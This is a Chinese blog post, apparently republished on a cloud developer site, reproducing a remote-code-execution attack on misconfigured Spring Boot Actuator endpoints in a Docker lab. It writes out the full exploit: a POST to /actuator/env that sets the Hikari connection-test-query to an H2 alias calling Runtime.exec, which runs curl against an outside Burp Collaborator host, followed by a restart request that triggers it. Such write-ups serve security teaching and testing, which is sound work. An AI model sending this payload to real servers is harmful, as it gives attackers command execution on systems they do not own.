前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Spring Boot Actuator H2 RCE复现

Spring Boot Actuator H2 RCE复现

作者头像
开心分享
发布2020-08-10 09:59:56
1.1K0
发布2020-08-10 09:59:56
举报
文章被收录于专栏:开心分享-技术交流

0x00 前言

Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。

0x01 环境搭建

(1) 克隆github上的项目

代码语言:javascript
复制
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
Spring Boot Actuator H2 RCE复现插图
Spring Boot Actuator H2 RCE复现插图

(2) 使用docker启动环境

先cd进入spring-boot-actuator-h2-rce目录然后执行以下命令

代码语言:javascript
复制
docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
Spring Boot Actuator H2 RCE复现插图(1)
Spring Boot Actuator H2 RCE复现插图(1)

(3) 访问:http://192.168.222.143:8080/actuator

Spring Boot Actuator H2 RCE复现插图(2)
Spring Boot Actuator H2 RCE复现插图(2)

0x02 漏洞复现

(1)发送如下POST包配置spring.datasource.hikari.connection-test-query的值

代码语言:javascript
复制
POST /actuator/env HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 393

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xfg7urtufj4yfu1t75ztl7q1xs3ir7.burpcollaborator.net');"}

(2)查看/actuator/env

Spring Boot Actuator H2 RCE复现插图(3)
Spring Boot Actuator H2 RCE复现插图(3)

(3)向端点 /actuator/restart 发送POST请求,重启应用

代码语言:javascript
复制
POST /actuator/restart HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 2

{}

(4) 查看dnslog可以看到成功执行命令收到请求

Spring Boot Actuator H2 RCE复现插图(4)
Spring Boot Actuator H2 RCE复现插图(4)
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020年8月7日 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 环境搭建
  • 0x02 漏洞复现
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档